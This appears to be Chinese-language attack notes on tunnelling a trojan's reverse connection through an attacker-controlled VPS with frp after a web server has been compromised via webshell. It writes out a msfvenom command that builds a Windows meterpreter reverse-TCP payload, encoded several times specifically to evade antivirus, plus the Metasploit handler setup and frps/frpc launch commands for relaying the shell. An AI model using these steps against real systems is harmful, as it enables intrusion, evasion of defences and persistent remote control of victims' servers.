代理
代理使用场景
- 拿下远程web服务器
- webshell连接不稳定,需要使用稳定的木马程序
- 远程服务器无法直接连接攻击者电脑(内网IP)
- 需要借助公网vps转发来自失陷服务器的木马流量
- 借助frp服务器(vps)和客户端(内网攻击者)建立隧道
- 当vps某一个端口收到流量的时候,frps会根据提前和frpc约定好的规则,使用建立好的隧道转发流量
前提条件
攻击者:
- 拿下了一台webshell权限
- 需要上传完整功能的木马
- 生成一个木马,不管谁执行了这个木马,都会连接vps的4444端口发送流量
代理过程
隧道
失陷主机或服务器:
- 在执行攻击者上传的木马时主动与vps进行连接
- 请求与vps的4444端口进行通信,发送流量
公网vps:
- 攻击者可控
- 攻击者和受害服务器都可以访问
- vps使用7000端口(frp软件)进行监听,攻击者向vps发出请求建立隧道(只能由攻击者向vps发出请求,因为公网IP不能访问私网IP)
- 失陷主机运行木马后,失陷主机将信息通过4444端口传送至vps,vps把自己的4444端口的流量通过7000端口转发给攻击者
frp服务
frp存在客户端和服务端,frp服务运行起来后服务端会自行开放7000端口。
-
内网kali用户上配置frpc客户端
-
vps7.7.7.7上配置frps服务端
-
frps和frpc做好链接后内网IP和vps7.7.7.7就建立了一个隧道
-
frp服务(vps)的4444端口会主动转发(通过7000端口)给客户端设定接收流量的端口
内网IP查看能否与外网通信
MSF木马生成
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.9.75.223 LPORT=4444 -e x86/shikata_ga_nai -f exe -o shell.exe -i 5
解释:
这是一个使用Metasploit框架中的msfvenom工具生成恶意软件的命令。
- -p :指定Payload(有效负载:木马的功能点)为Windows Meterpreter反向TCP连接。Meterpreter是Metasploit框架中一个功能强大的远程访问工具。
- LHOST:设置本地监听IP地址为10.9.75.223。这是恶意软件将连接到的主机IP地址。
- LPORT:设置本地监听端口号为4444。这是恶意软件将连接到的主机端口号。
- -e :使用x86/shikata_ga_nai编码来混淆Payload,以避免被基于特征的防病毒软件检测。
- -f :设置生成的恶意软件文件格式为可执行文件(exe)。
- -o :指定生成的恶意软件文件名为shell.exe。
- -i :设置编码迭代次数为5,以增加避免被检测的难度。
木马上传至失陷主机
监听
1、启动msf :msfconsole
2、载入监控模块 :use exploit/multi/handler
3、加载payload:
set payload windows/meterpreter/reverse_tcp
set lhost 127.0.0.1
set lport 4444
run
kali主机启动监听等待木马连接
失陷主机运行木马后将流量数据包发送给vps的4444端口,但是vps没有开放4444端口
vps开启frp服务:
frp服务端
查看frp服务端的配置文件,当启动frp服务端的时候默认开启7000端口和客户端连接。向客户端发流量数据包。
在frps.exe所在文件打开cmd
frps.exe -c frps.ini #启动frp服务器
frp客户端:
解压frp客户端压缩包
tar xf frp_0.33.0_linux_amd64.tar.gz
进入frp_0.33.0_linux_amd64目录查看客户端配置信息
cd frp_0.33.0_linux_amd64
ls
sudo vim frpc.ini
启动frp客户端(frpc)
sudo ./frpc -c frpc.ini #启动客户端
运行木马
失陷主机运行木马
打开生成木马界面获得shell